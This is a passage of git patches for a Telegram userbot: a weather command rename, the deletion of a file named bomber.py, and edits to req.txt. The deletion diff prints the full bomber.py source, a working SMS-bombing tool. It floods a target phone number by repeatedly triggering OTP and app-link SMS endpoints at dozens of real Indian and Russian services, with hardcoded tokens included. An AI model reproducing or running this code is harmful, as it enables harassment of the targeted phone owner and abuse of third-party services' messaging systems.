friday_on_cmd -@friday_on_cmd(['weather1','climate','we','cl'], +@friday_on_cmd(['weather','climate','we','cl'], cmd_help={ 'help': 'Get Weather info of town or pincode', - 'example': '{ch}weather1 hyderabad'}) + 'example': '{ch}we hyderabad'}) async def geW_if(client, message): m_ = await edit_or_reply(message, "`Please Wait!`") city = get_text(message) From aa09f3ad061766f2072f9807615e35bdd8ccb602 Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Tue, 8 Jun 2021 13:24:08 +0530 Subject: [PATCH 26/28] Delete bomber.py --- bomber.py | 424 ------------------------------------------------------ 1 file changed, 424 deletions(-) delete mode 100644 bomber.py diff --git a/bomber.py b/bomber.py deleted file mode 100644 index 08f5fba..0000000 --- a/bomber.py +++ /dev/null @@ -1,424 +0,0 @@ -from concurrent.futures import ThreadPoolExecutor -import json -import requests -import random -import time -import argparse -import os -import httpx -import sys -import textwrap -import urllib3 -from main_startup.core.decorators import friday_on_cmd -from main_startup.helper_func.basic_helpers import edit_or_reply, get_text, edit_or_send_as_file, get_user - - -VERIFY = True -not VERIFY and urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) -class CustomArgumentParser(argparse.ArgumentParser): - def __init__(self, *args, width=80, **kwargs): - self.program = {key: kwargs[key] for key in kwargs} - self.positionals = [] - self.options = [] - self.width = width - super(CustomArgumentParser, self).__init__(*args, **kwargs) - - def add_argument(self, *args, **kwargs): - super(CustomArgumentParser, self).add_argument(*args, **kwargs) - argument = {key: kwargs[key] for key in kwargs} - if len(args) == 0 or ( - len(args) == 1 and isinstance(args[0], str) and not args[0].startswith("-") - ): - argument["name"] = args[0] if (len(args) > 0) else argument["dest"] - self.positionals.append(argument) - return - argument["flags"] = [item for item in args] - self.options.append(argument) - - def format_usage(self): - if "usage" in self.program: - prefix = "Usage: " - wrapper = textwrap.TextWrapper(width=self.width, break_long_words=False) - wrapper.initial_indent = prefix - wrapper.subsequent_indent = len(prefix) * " " - if self.program["usage"] == "" or str.isspace(self.program["usage"]): - return wrapper.fill("No usage information available") - return wrapper.fill(self.program["usage"]) - output = [] - left1 = "Usage: " - left2 = ( - self.program["prog"] - if ( - "prog" in self.program - and self.program["prog"] != "" - and not str.isspace(self.program["prog"]) - ) - else os.path.basename(sys.argv[0]) - if ( - len(sys.argv[0]) > 0 - and sys.argv[0] != "" - and not str.isspace(sys.argv[0]) - ) - else "script.py" - ) - llen = len(left1) + len(left2) - arglist = [] - for option in self.options: - flags = str.join("/", option["flags"]) - arglist += [ - "[%s]" % flags - if ( - "action" in option - and ( - option["action"] == "store_true" - or option["action"] == "store_false" - ) - ) - else "[%s %s]" % (flags, option["metavar"]) - if ("metavar" in option) - else "[%s %s]" % (flags, option["dest"].upper()) - if ("dest" in option) - else "[%s]" % flags - ] - for positional in self.positionals: - arglist += [ - "%s" % positional["metavar"] - if ("metavar" in positional) - else "%s" % positional["name"] - ] - right = str.join(" ", arglist) - - lwidth = llen - rwidth = max(0, self.width - lwidth - 1) - if lwidth > int(self.width / 2) - 1: - lwidth = max(0, int(self.width / 2) - 1) - rwidth = int(self.width / 2) - outtmp = "%-" + str(lwidth) + "s %s" - - # Wrap text for left and right parts, split into separate lines - wrapper = textwrap.TextWrapper(width=lwidth) - wrapper.initial_indent = left1 - wrapper.subsequent_indent = len(left1) * " " - left = wrapper.wrap(left2) - wrapper = textwrap.TextWrapper(width=rwidth) - right = wrapper.wrap(right) - - # Add usage message to output - for i in range(0, max(len(left), len(right))): - left_ = left[i] if (i < len(left)) else "" - right_ = right[i] if (i < len(right)) else "" - output.append(outtmp % (left_, right_)) - - # Return output as single string - return str.join("\n", output) - - def format_help(self): - output = [] - dewrapper = textwrap.TextWrapper(width=self.width) - - # Add description to output if present - if ( - "description" in self.program - and self.program["description"] != "" - and not str.isspace(self.program["description"]) - ): - output.append("") - output.append(dewrapper.fill(self.program["description"])) - output.append("") - - # Add usage message to output - output.append(self.format_usage()) - - # Determine what to display left and right for each argument, determine max - # string lengths for left and right - lmaxlen = rmaxlen = 0 - for positional in self.positionals: - positional["left"] = ( - positional["metavar"] - if ("metavar" in positional) - else positional["name"] - ) - for option in self.options: - if "action" in option and ( - option["action"] == "store_true" or option["action"] == "store_false" - ): - option["left"] = str.join(", ", option["flags"]) - else: - option["left"] = str.join( - ", ", - [ - "%s %s" % (item, option["metavar"]) - if ("metavar" in option) - else "%s %s" % (item, option["dest"].upper()) - if ("dest" in option) - else item - for item in option["flags"] - ], - ) - for argument in self.positionals + self.options: - if ( - "help" in argument - and argument["help"] != "" - and not str.isspace(argument["help"]) - and "default" in argument - and argument["default"] != argparse.SUPPRESS - ): - argument["right"] = ( - argument["help"] - + " " - + ( - "(default: '%s')" % argument["default"] - if isinstance(argument["default"], str) - else "(default: %s)" % str(argument["default"]) - ) - ) - elif ( - "help" in argument - and argument["help"] != "" - and not str.isspace(argument["help"]) - ): - argument["right"] = argument["help"] - elif "default" in argument and argument["default"] != argparse.SUPPRESS: - argument["right"] = ( - "Default: '%s'" % argument["default"] - if isinstance(argument["default"], str) - else "Default: %s" % str(argument["default"]) - ) - else: - # argument["right"] = "" - argument["right"] = "No description available" - lmaxlen = max(lmaxlen, len(argument["left"])) - rmaxlen = max(rmaxlen, len(argument["right"])) - lwidth = lmaxlen - rwidth = max(0, self.width - lwidth - 4) - if lwidth > int(self.width / 2) - 4: - lwidth = max(0, int(self.width / 2) - 4) - rwidth = int(self.width / 2) - # outtmp = " %-" + str(lwidth) + "s %-" + str(rwidth) + "s" - outtmp = " %-" + str(lwidth) + "s %s" - - # Wrap text for left and right parts, split into separate lines - lwrapper = textwrap.TextWrapper(width=lwidth) - rwrapper = textwrap.TextWrapper(width=rwidth) - for argument in self.positionals + self.options: - argument["left"] = lwrapper.wrap(argument["left"]) - argument["right"] = rwrapper.wrap(argument["right"]) - - # Add positional arguments to output - if len(self.positionals) > 0: - output.append("") - output.append("Positional arguments:") - for positional in self.positionals: - for i in range( - 0, max(len(positional["left"]), len(positional["right"])) - ): - left = ( - positional["left"][i] if (i < len(positional["left"])) else "" - ) - right = ( - positional["right"][i] if (i < len(positional["right"])) else "" - ) - output.append(outtmp % (left, right)) - - # Add option arguments to output - if len(self.options) > 0: - output.append("") - output.append("Optional arguments:") - for option in self.options: - for i in range(0, max(len(option["left"]), len(option["right"]))): - left = option["left"][i] if (i < len(option["left"])) else "" - right = option["right"][i] if (i < len(option["right"])) else "" - output.append(outtmp % (left, right)) - - # Add epilog to output if present - if ( - "epilog" in self.program - and self.program["epilog"] != "" - and not str.isspace(self.program["epilog"]) - ): - output.append("") - output.append(dewrapper.fill(self.program["epilog"])) - output.append("") - - # Return output as single string - return str.join("\n", output) - - # Method redefined as format_usage() does not return a trailing newline like - # the original does - def print_usage(self, file=None): - if file is None: - file = sys.stdout - file.write(self.format_usage() + "\n") - file.flush() - - # Method redefined as format_help() does not return a trailing newline like - # the original does - def print_help(self, file=None): - if file is None: - file = sys.stdout - file.write(self.format_help() + "\n") - file.flush() - - def error(self, message): - sys.stderr.write(self.format_usage() + "\n") - sys.stderr.write(("[ERROR] %s" % message) + "\n") - sys.exit(2) - - -class APIRequestsHandler: - def __init__( - self, - target, - timeout, - proxy={}, - verbose=False, - verify=False, - cc="91", - config=None, - ): - self.config = config - self.target = target - self.headers = self._headers() - self.done = False - self.proxy = proxy - self.cookies = self._cookies() - self.verbose = verbose - self.verify = verify - self.timeout = timeout - self.cc = cc - self.client = httpx.Client(http2=True, proxies=self.proxy, verify=VERIFY) - - def _headers(self): - tmp_headers = { - "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0" - } - if "headers" in self.config: - tmp_headers.update(self.config["headers"]) - return tmp_headers - - def _cookies(self): - tmp_cookies = {} - if "cookies" in self.config: - tmp_cookies.update(self.config["cookies"]) - return tmp_cookies - - def _data(self): - tmp_data = {} - for key, value in self.config["data"].items(): - tmp_data[key] = value.format(cc=self.cc, target=self.target) - return tmp_data - - def _params(self): - tmp_params = {} - if "params" in self.config: - for key, value in self.config["params"].items(): - tmp_params[key] = value.format(cc=self.cc, target=self.target) - return tmp_params - - def _get(self): - try: - return self.client.get( - self.config["url"], - params=self.params, - headers=self.headers, - cookies=self.cookies, - timeout=self.timeout, - ) - except: - raise - - def _post(self): - try: - return self.client.post( - self.config["url"], - data=self.data, - headers=self.headers, - cookies=self.cookies, - timeout=self.timeout, - ) - except: - raise - - def start(self): - try: - if self.config["method"] == "GET": - self.params = self._params() - self.resp = self._get() - elif self.config["method"] == "POST": - self.data = self._data() - self.resp = self._post() - self.done = True - except Exception as error: - (self.verbose or self.verify) and print( - "{:<13}: ERROR".format(self.config["name"]) - ) - self.verbose and print("Error text: {}".format(error)) - - def status(self): - if self.config["identifier"] in self.resp.text: - (self.verbose or self.verify) and print( - "{:<13}: OK".format(self.config["name"]) - ) - return True - else: - (self.verbose or self.verify) and print( - "{:<13}: FAIL".format(self.config["name"]) - ) - self.verbose and print("Response: {}".format(self.resp.text)) - return False -m=None -failed, success = 0, 0 -no_of_sms=0 - - -@friday_on_cmd(['bomb', 'sms_bomb'], - cmd_help={ - 'help': 'atack with massive sms bombs.provide target_phone_number : no_of_sms', - 'example': '{ch}bomb 8247348318 : 10'}) -async def geT_if(client, message): - def bomber(p): - global failed, success, no_of_sms,m - if p is None or success > no_of_sms: - return - elif not p.done: - try: - p.start() - if p.status(): - success += 1 - else: - failed += 1 - except: - failed += 1 - - global failed, success, no_of_sms,m - m = await edit_or_reply(message, "`Please Wait!`") - input_str = get_text(message) - target,no_of_sms=input_str.split(":") - data={"version":"3.0","created_by":"Datta07","providers":{"91":[{"name":"confirmtkt","method":"GET","url":"https://securedapi.confirmtkt.com/api/platform/register","params":{"newOtp":"true","mobile_number":"{target}"},"identifier":"false"},{"name":"justdial","method":"GET","url":"https://t.justdial.com/api/india_api_write/18july2018/sendvcode.php","params":{"mobile":"{target}"},"identifier":"sent"},{"name":"myupchar","method":"GET","url":"https://www.myupchar.com/consultation/store_otp","headers":{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0","Accept":"*/*","Accept-Language":"en-US,en;q=0.5","X-CSRF-Token":"PVsJG4MoiKTLl7RA2KLYzXVoSt2s2URRSlCV3ADvm6M=","X-Requested-With":"XMLHttpRequest","Connection":"keep-alive","Referer":"https://www.myupchar.com/consultation/query","DNT":"1"},"params":{"phone":"{target}"},"identifier":"आपके मोबाइल नंबर पर OTP भेज दिया गया है।"},{"name":"frotels","method":"POST","url":"https://www.frotels.com/appsendsms.php","data":{"mobno":"{target}"},"identifier":"sent"},{"name":"gapoon","method":"POST","url":"https://www.gapoon.com/userSignup","data":{"mobile":"{target}","email":"a@a.com","name":"a"},"identifier":"1"},{"name":"housing","method":"POST","url":"https://login.housing.com/api/v2/send-otp","data":{"phone":"{target}"},"identifier":"Sent"},{"name":"porter","method":"POST","url":"https://porter.in/restservice/send_app_link_sms","data":{"phone":"{target}","referrer_string":"","brand":"porter"},"identifier":"true"},{"name":"cityflo","method":"POST","url":"https://cityflo.com/website-app-download-link-sms/","data":{"mobile_number":"{target}"},"identifier":"sent"},{"name":"nnnow","method":"POST","url":"https://api.nnnow.com/d/api/appDownloadLink","data":{"mobileNumber":"{target}"},"identifier":"true"},{"name":"ajio","method":"POST","url":"https://login.web.ajio.com/api/auth/signupSendOTP","data":{"firstName":"xxps","login":"wiqpdl223@wqew.com","password":"QASpw@1s","genderType":"Male","mobileNumber":"{target}","requestType":"SENDOTP"},"identifier":"1"},{"name":"happyeasygo","method":"GET","url":"https://www.happyeasygo.com/heg_api/user/sendRegisterOTP.do","params":{"phone":"91%20{target}"},"identifier":"true"},{"name":"unacademy","method":"POST","url":"https://unacademy.com/api/v1/user/get_app_link/","data":{"phone":"{target}"},"identifier":"sent"},{"name":"treebo","method":"POST","url":"https://www.treebo.com/api/v2/auth/login/otp/","data":{"phone_number":"{target}"},"identifier":"sent"},{"name":"mobikwik","method":"POST","url":"https://webapi.mobikwik.com/p/account/otp/cell/v2","data":{"cell":"{target}"},"headers":{"X-MClient":"0"},"identifier":"true"},{"name":"airtel","method":"GET","url":"https://www.airtel.in/referral-api/core/notify","params":{"messageId":"map","rtn":"{target}"},"identifier":"Success"},{"name":"pharmeasy","method":"POST","url":"https://pharmeasy.in/api/auth/requestOTP","data":{"contactNumber":"{target}"},"identifier":"resendSmsCounter"},{"name":"mylescars","method":"POST","url":"https://www.mylescars.com/usermanagements/chkContact","data":{"contactNo":"{target}"},"identifier":"success@::::"},{"name":"grofers","method":"POST","url":"https://grofers.com/v2/accounts/","data":{"user_phone":"{target}"},"headers":{"auth_key":"3f0b81a721b2c430b145ecb80cfdf51b170bf96135574e7ab7c577d24c45dbd7"},"identifier":"We have sent"},{"name":"dream11","method":"POST","url":"https://api.dream11.com/sendsmslink","data":{"siteId":"1","mobileNum":"{target}","appType":"androidfull"},"identifier":"true"},{"name":"cashify","method":"GET","url":"https://www.cashify.in/api/cu01/v1/app-link","params":{"mn":"{target}"},"identifier":"Successfully"},{"name":"paytm","method":"POST","url":"https://commonfront.paytm.com/v4/api/sendsms","data":{"phone":"{target}","guid":"2952fa812660c58dc160ca6c9894221d"},"identifier":"202"}],"multi":[{"name":"flipkart","method":"POST","cc_target":"loginId","url":"https://www.flipkart.com/api/5/user/otp/generate","data":{"loginId":"+{target}"},"headers":{"X-user-agent":"Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0 FKUA/website/41/website/Desktop","Origin":"https://www.flipkart.com","Content-Type":"application/x-www-form-urlencoded"},"identifier":"emailMask"},{"name":"qlean","method":"POST","url":"https://qlean.ru/clients-api/v2/sms_codes/auth/request_code","data":{"phone":"{cc}{target}"},"identifier":"request_id"},{"name":"mail.ru","method":"POST","url":"https://cloud.mail.ru//api/v2/notify/applink","data":{"phone":"+{cc}{target}","api":"2","email":"email","x-email":"x-email"},"identifier":"200"},{"name":"gotinder","method":"POST","url":"https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru","data":{"phone_number":"{cc}{target}"},"identifier":"200"},{"name":"youla.ru","method":"POST","url":"https://youla.ru/web-api/auth/request_code","data":{"phone":"+{cc}{target}"},"identifier":"code_length"},{"name":"ivi.ru","method":"POST","url":"https://api.ivi.ru/mobileapi/user/register/phone/v6","data":{"phone":"{cc}{target}"},"identifier":"true"},{"name":"delitime.ru","method":"POST","url":"https://api.delitime.ru/api/v2/signup","data":{"SignupForm[username]":"{cc}{target}","SignupForm[device_type]":"3"},"identifier":"true"},{"name":"icq.com","method":"POST","url":"https://www.icq.com/smsreg/requestPhoneValidation.php","data":{"msisdn":"{cc}{target}","locale":"en","k":"ic1rtwz1s1Hj1O0r","r":"45559"},"identifier":"200"}]}} - target = target.strip() - country_code = str(91) - no_of_threads = 5 - no_of_sms = int(no_of_sms.strip()) - failed, success = 0, 0 - l="Target: "+target+" | Threads: "+str(no_of_threads)+" | SMS-Bombs: "+str(no_of_sms) - await m.edit(l+"\n Please Wait for some more time") - start = time.time() - providers = data["providers"] - with ThreadPoolExecutor(max_workers=no_of_threads) as executor: - while success <= no_of_sms: - p = APIRequestsHandler( - target, - proxy=None, - verbose=None, - timeout=None, - cc=country_code, - config=random.choice( - providers[country_code] + providers["multi"] - if country_code in providers - else providers["multi"] - ), - ) - k="Requests: "+str(success+failed)+" | Success: "+str(success)+" | Failed: "+str(failed) - # Try to fix this to display k as it a live count - executor.submit(bomber, p) - await m.edit("yahoo! Messages sent Successfully...:)") From 2c244ce34ad3242b6cfd8c57a45be954ff4d972a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E3=82=B9=E3=82=BF=E3=83=BC=E3=82=AF=E3=82=AE=E3=83=A3?= =?UTF-8?q?=E3=83=B3=E3=82=B0?= Date: Wed, 9 Jun 2021 12:05:58 +0530 Subject: [PATCH 27/28] Update req.txt --- req.txt | 3 --- 1 file changed, 3 deletions(-) diff --git a/req.txt b/req.txt index 92864ef..3225c01 100644 --- a/req.txt +++ b/req.txt @@ -11,7 +11,4 @@ quotefancy feedparser asyncurban validators>=0.18.2 -brotlipy >= 0.7.0 -httpx[http2] >= 0.16.1 -requests xmltodict From 750c888c85f74fe30373ff84d7180962eb42a417 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E3=82=B9=E3=82=BF=E3=83=BC=E3=82=AF=E3=82=AE=E3=83=A3?= =?UTF-8?q?=E3=83=B3=E3=82=B0?= Date: Tue, 15 Jun 2021 10:22:58 +0530 Subject: [PATCH 28/28] Update req.txt --- req.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/req.txt b/req.txt index 3225c01..e30998e 100644 --- a/req.txt +++ b/req.txt @@ -1,6 +1,7 @@ wikipedia pytgcalls mal-api +six==1.16.0 git+https://github.com/chsaiujwal/maigret git+https://github.com/gleitz/howdoi speedtest-cli